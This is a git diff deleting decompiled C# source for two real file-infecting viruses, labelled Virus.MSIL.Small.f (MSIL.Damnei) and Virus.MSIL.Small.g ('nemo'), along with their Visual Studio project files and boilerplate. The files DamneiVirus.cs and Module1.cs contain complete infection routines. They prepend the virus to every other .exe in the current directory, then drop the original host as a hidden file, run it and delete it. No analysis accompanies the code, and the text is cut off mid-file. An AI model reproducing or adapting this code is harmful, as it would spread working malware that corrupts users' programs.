File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Genetica", "Virus.MSIL.Small.e-9ffb73bdd50a2d9e84afde5afedf818d05b2062060763ca983b64f52cc9f5c4f.csproj", "{EDF8135E-900A-4762-8C84-977F6FBD7B71}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {EDF8135E-900A-4762-8C84-977F6FBD7B71}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {EDF8135E-900A-4762-8C84-977F6FBD7B71}.Debug|Any CPU.Build.0 = Debug|Any CPU - {EDF8135E-900A-4762-8C84-977F6FBD7B71}.Release|Any CPU.ActiveCfg = Release|Any CPU - {EDF8135E-900A-4762-8C84-977F6FBD7B71}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/AssemblyInfo.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/AssemblyInfo.cs deleted file mode 100644 index 13cebba8..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCopyright("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyKeyFile("")] -[assembly: AssemblyDelaySign(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyKeyName("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyVersion("1.0.2213.28388")] diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Damnei.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Damnei.cs deleted file mode 100644 index 57f4150c..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Damnei.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FirstPrep.Damnei -// Assembly: FirstPrep, Version=1.0.2213.28388, Culture=neutral, PublicKeyToken=null -// MVID: 46B1E01E-D7F8-4B55-B7B0-B711CAFCABC5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -namespace FirstPrep -{ - public class Damnei : Form - { - private Container components = (Container) null; - - public Damnei() => this.InitializeComponent(); - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.AutoScaleBaseSize = new Size(5, 13); - this.ClientSize = new Size(90, 2); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (Damnei); - this.ShowInTaskbar = false; - this.Text = "MSIL.Damnei"; - this.WindowState = FormWindowState.Minimized; - this.Load += new EventHandler(this.Damnei_Load); - } - - [STAThread] - private static void Main() => Application.Run((Form) new Damnei()); - - private void Damnei_Load(object sender, EventArgs e) - { - new DamneiVirus().Start(); - Application.Exit(); - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Damnei.resx b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Damnei.resx deleted file mode 100644 index 5fdd613e..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Damnei.resx +++ /dev/null @@ -1,150 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - BkRhbW5laQ== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAACBTeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mbwoAAAAGbV9uYW1lCm1fZGF0YUl0ZW0RbV91c2VVc2VyT3ZlcnJpZGUJY3VsdHVyZUlEDG1faXNSZWFkT25seQtjb21wYXJlSW5mbwh0ZXh0SW5mbwdudW1JbmZvDGRhdGVUaW1lSW5mbwhjYWxlbmRhcgEAAAAAAwMDAwMIAQgBIFN5c3RlbS5HbG9iYWxpemF0aW9uLkNvbXBhcmVJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLlRleHRJbmZvJVN5c3RlbS5HbG9iYWxpemF0aW9uLk51bWJlckZvcm1hdEluZm8nU3lzdGVtLkdsb2JhbGl6YXRpb24uRGF0ZVRpbWVGb3JtYXRJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLkNhbGVuZGFyBgIAAAAAygAAAAB/AAAAAQkDAAAACQQAAAAJBQAAAAoKBAMAAAAgU3lzdGVtLkdsb2JhbGl6YXRpb24uQ29tcGFyZUluZm8CAAAACXdpbjMyTENJRAdjdWx0dXJlAAAICH8AAAB/AAAABAQAAAAdU3lzdGVtLkdsb2JhbGl6YXRpb24uVGV4dEluZm8DAAAAC21fbkRhdGFJdGVtEW1fdXNlVXNlck92ZXJyaWRlDW1fd2luMzJMYW5nSUQAAAAIAQjKAAAAAH8AAAAEBQAAACVTeXN0ZW0uR2xvYmFsaXphdGlvbi5OdW1iZXJGb3JtYXRJbmZvHwAAABBudW1iZXJHcm91cFNpemVzEmN1cnJlbmN5R3JvdXBTaXplcxFwZXJjZW50R3JvdXBTaXplcwxwb3NpdGl2ZVNpZ24MbmVnYXRpdmVTaWduFm51bWJlckRlY2ltYWxTZXBhcmF0b3IUbnVtYmVyR3JvdXBTZXBhcmF0b3IWY3VycmVuY3lHcm91cFNlcGFyYXRvchhjdXJyZW5jeURlY2ltYWxTZXBhcmF0b3IOY3VycmVuY3lTeW1ib2wSYW5zaUN1cnJlbmN5U3ltYm9sCW5hblN5bWJvbBZwb3NpdGl2ZUluZmluaXR5U3ltYm9sFm5lZ2F0aXZlSW5maW5pdHlTeW1ib2wXcGVyY2VudERlY2ltYWxTZXBhcmF0b3IVcGVyY2VudEdyb3VwU2VwYXJhdG9yDXBlcmNlbnRTeW1ib2wOcGVyTWlsbGVTeW1ib2wKbV9kYXRhSXRlbRNudW1iZXJEZWNpbWFsRGlnaXRzFWN1cnJlbmN5RGVjaW1hbERpZ2l0cxdjdXJyZW5jeVBvc2l0aXZlUGF0dGVybhdjdXJyZW5jeU5lZ2F0aXZlUGF0dGVybhVudW1iZXJOZWdhdGl2ZVBhdHRlcm4WcGVyY2VudFBvc2l0aXZlUGF0dGVybhZwZXJjZW50TmVnYXRpdmVQYXR0ZXJuFHBlcmNlbnREZWNpbWFsRGlnaXRzCmlzUmVhZE9ubHkRbV91c2VVc2VyT3ZlcnJpZGUVdmFsaWRGb3JQYXJzZUFzTnVtYmVyF3ZhbGlkRm9yUGFyc2VBc0N1cnJlbmN5BwcHAQEBAQEBAQEBAQEBAQEBAAAAAAAAAAAAAAAAAAgICAgICAgICAgICAEBAQEJBgAAAAkHAAAACQYAAAAGCQAAAAErBgoAAAABLQYLAAAAAS4GDAAAAAEsBg0AAAABLAYOAAAAAS4GDwAAAALCpAoGEAAAAANOYU4GEQAAAAhJbmZpbml0eQYSAAAACS1JbmZpbml0eQkLAAAACQwAAAAGFQAAAAElBhYAAAAD4oCwygAAAAIAAAACAAAAAAAAAAAAAAABAAAAAAAAAAAAAAACAAAAAQABAQ8GAAAAAQAAAAgDAAAADwcAAAABAAAACAMAAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAgAAAAIAAAACw== - - - UAAAAA== - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/DamneiVirus.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/DamneiVirus.cs deleted file mode 100644 index 6cd31ada..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/DamneiVirus.cs +++ /dev/null @@ -1,118 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FirstPrep.DamneiVirus -// Assembly: FirstPrep, Version=1.0.2213.28388, Culture=neutral, PublicKeyToken=null -// MVID: 46B1E01E-D7F8-4B55-B7B0-B711CAFCABC5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Windows.Forms; - -namespace FirstPrep -{ - public class DamneiVirus - { - public void Start() - { - int length = 20480; - int index1 = 8422; - string fileName = Process.GetCurrentProcess().MainModule.FileName; - byte[] numArray1 = new byte[length]; - FileStream input1 = new FileStream(fileName, FileMode.Open, FileAccess.Read); - BinaryReader binaryReader1 = new BinaryReader((Stream) input1); - for (int index2 = 0; index2 < length; ++index2) - numArray1[index2] = binaryReader1.ReadByte(); - byte[] numArray2 = new byte[input1.Length - (long) length]; - int index3 = 0; - try - { - while (true) - { - numArray2[index3] = binaryReader1.ReadByte(); - ++index3; - } - } - catch (EndOfStreamException ex) - { - } - binaryReader1.Close(); - input1.Close(); - foreach (string file in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe")) - { - try - { - AssemblyName.GetAssemblyName(file); - } - catch (BadImageFormatException ex) - { - continue; - } - try - { - FileStream input2 = new FileStream(file, FileMode.Open, FileAccess.Read); - BinaryReader binaryReader2 = new BinaryReader((Stream) input2); - byte[] numArray3 = new byte[input2.Length]; - int index4 = 0; - try - { - while (true) - { - numArray3[index4] = binaryReader2.ReadByte(); - ++index4; - } - } - catch (EndOfStreamException ex) - { - } - if ((int) numArray1[index1] == (int) numArray3[index1]) - { - binaryReader2.Close(); - input2.Close(); - } - else - { - binaryReader2.Close(); - input2.Close(); - FileStream output = new FileStream(file, FileMode.Open, FileAccess.Write); - BinaryWriter binaryWriter = new BinaryWriter((Stream) output); - for (int index5 = 0; index5 < length; ++index5) - binaryWriter.BaseStream.WriteByte(numArray1[index5]); - for (int index6 = 0; index6 < numArray3.Length; ++index6) - binaryWriter.BaseStream.WriteByte(numArray3[index6]); - binaryWriter.Close(); - output.Close(); - } - } - catch (Exception ex) - { - } - } - string str = "temp" + new Random(DateTime.Now.Millisecond).Next(10000).ToString() + ".scr"; - FileStream output1 = new FileStream(str, FileMode.Create, FileAccess.Write); - BinaryWriter binaryWriter1 = new BinaryWriter((Stream) output1); - for (int index7 = 0; index7 < numArray2.Length; ++index7) - binaryWriter1.BaseStream.WriteByte(numArray2[index7]); - binaryWriter1.Close(); - output1.Close(); - File.SetAttributes(str, FileAttributes.Hidden); - if (DateTime.Now.Month == 1) - { - if (DateTime.Now.Day == 21) - { - int num1 = (int) MessageBox.Show("http://www.vx-dia.de.vu/ - http://www.rrlf.de.vu/", "Infected with MSIL.Damnei by DiA/RRLF"); - } - } - try - { - Process.Start(str).WaitForExit(); - } - catch (Exception ex) - { - int num2 = (int) MessageBox.Show("Can not execute " + fileName, "Error"); - } - File.Delete(str); - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Virus.MSIL.Small.f.csproj b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Virus.MSIL.Small.f.csproj deleted file mode 100644 index 059a349b..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Virus.MSIL.Small.f.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - - Debug - AnyCPU - {2F9E94CD-55F7-4E5F-92B1-A58B6BFC93E6} - WinExe - FirstPrep - 1.0.2213.28388 - FirstPrep - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Virus.MSIL.Small.f.sln b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Virus.MSIL.Small.f.sln deleted file mode 100644 index 4160a806..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a/Virus.MSIL.Small.f.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FirstPrep", "Virus.MSIL.Small.f-d09dd4820bc9019c9d5c26971a031da48d9bca91576d2d828155cc1246f92c3a.csproj", "{2F9E94CD-55F7-4E5F-92B1-A58B6BFC93E6}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {2F9E94CD-55F7-4E5F-92B1-A58B6BFC93E6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2F9E94CD-55F7-4E5F-92B1-A58B6BFC93E6}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2F9E94CD-55F7-4E5F-92B1-A58B6BFC93E6}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2F9E94CD-55F7-4E5F-92B1-A58B6BFC93E6}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/AssemblyInfo.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/AssemblyInfo.cs deleted file mode 100644 index ed1e1154..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyTrademark("")] -[assembly: AssemblyTitle("nemo")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("nemo")] -[assembly: AssemblyCopyright("Copyright © vx13d 2006")] -[assembly: AssemblyCompany("vx13d")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("78f2b18e-8e1b-4d2b-95a1-83a8bcdf2469")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Module1.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Module1.cs deleted file mode 100644 index f87c19f6..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Module1.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nemo.Module1 -// Assembly: nemo, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2D9B0A6D-192E-4D73-A06F-ACACE5271DF2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.IO; -using System.Windows.Forms; - -namespace nemo -{ - [StandardModule] - internal sealed class Module1 - { - public static void Replicate() - { - string str = Conversions.ToString(new Random().Next(1, 1000)) + ".exe"; - object obj = (object) Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); - string currentDirectory = Environment.CurrentDirectory; - FileStream input1 = new FileStream(Conversions.ToString(obj), FileMode.Open, FileAccess.Read); - BinaryReader binaryReader1 = new BinaryReader((Stream) input1); - byte[] numArray1 = new byte[checked ((int) input1.Length + 1)]; - int num1 = checked ((int) (binaryReader1.BaseStream.Length - 1L)); - int index1 = 0; - while (index1 <= num1) - { - numArray1[index1] = binaryReader1.ReadByte(); - checked { ++index1; } - } - input1.Close(); - binaryReader1.Close(); - string[] files = Directory.GetFiles(currentDirectory, "*.exe"); - int num2 = checked (files.Length - 1); - int index2 = 0; - while (index2 <= num2) - { - FileStream input2 = new FileStream(files[index2], FileMode.Open, FileAccess.Read); - BinaryReader binaryReader2 = new BinaryReader((Stream) input2); - byte[] numArray2 = new byte[checked ((int) input2.Length + 1)]; - int num3 = checked ((int) (binaryReader2.BaseStream.Length - 1L)); - int index3 = 0; - while (index3 <= num3) - { - numArray2[index3] = binaryReader2.ReadByte(); - checked { ++index3; } - } - input2.Close(); - binaryReader2.Close(); - if (numArray2[60] != (byte) 128) - { - Console.WriteLine("File to infect:" + files[index2]); - FileStream output = new FileStream(files[index2], FileMode.Open, FileAccess.Write); - BinaryWriter binaryWriter = new BinaryWriter((Stream) output); - int num4 = checked (numArray1.Length - 1); - int index4 = 0; - while (index4 <= num4) - { - binaryWriter.BaseStream.WriteByte(numArray1[index4]); - checked { ++index4; } - } - int num5 = checked (numArray2.Length - 1); - int index5 = 0; - while (index5 <= num5) - { - binaryWriter.BaseStream.WriteByte(numArray2[index5]); - checked { ++index5; } - } - binaryWriter.Close(); - output.Close(); - } - checked { ++index2; } - } - FileInfo fileInfo = new FileInfo(Conversions.ToString(obj)); - int num6 = new int(); - if (checked ((int) (fileInfo.Length - 28673L)) <= 0) - return; - if (File.Exists(str)) - File.Delete(str); - FileStream fileStream = new FileStream(str, FileMode.CreateNew); - File.SetAttributes(str, FileAttributes.Hidden); - int length = checked ((int) fileInfo.Length); - int index6 = 28673; - while (index6 <= length) - { - fileStream.WriteByte(numArray1[index6]); - checked { ++index6; } - } - fileStream.Close(); - try - { - Process.Start(str).WaitForExit(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num7 = (int) MessageBox.Show("This file is corrupt", "Windows", MessageBoxButtons.OK, MessageBoxIcon.Hand); - ProjectData.ClearProjectError(); - } - File.Delete(str); - } - - [STAThread] - public static void Main() => Module1.Replicate(); - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyApplication.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyApplication.cs deleted file mode 100644 index 08a0a3b2..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nemo.My.MyApplication -// Assembly: nemo, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2D9B0A6D-192E-4D73-A06F-ACACE5271DF2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace nemo.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyComputer.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyComputer.cs deleted file mode 100644 index 9f7529b5..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nemo.My.MyComputer -// Assembly: nemo, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2D9B0A6D-192E-4D73-A06F-ACACE5271DF2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace nemo.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyProject.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyProject.cs deleted file mode 100644 index cbd29d20..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nemo.My.MyProject -// Assembly: nemo, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2D9B0A6D-192E-4D73-A06F-ACACE5271DF2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace nemo.My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof 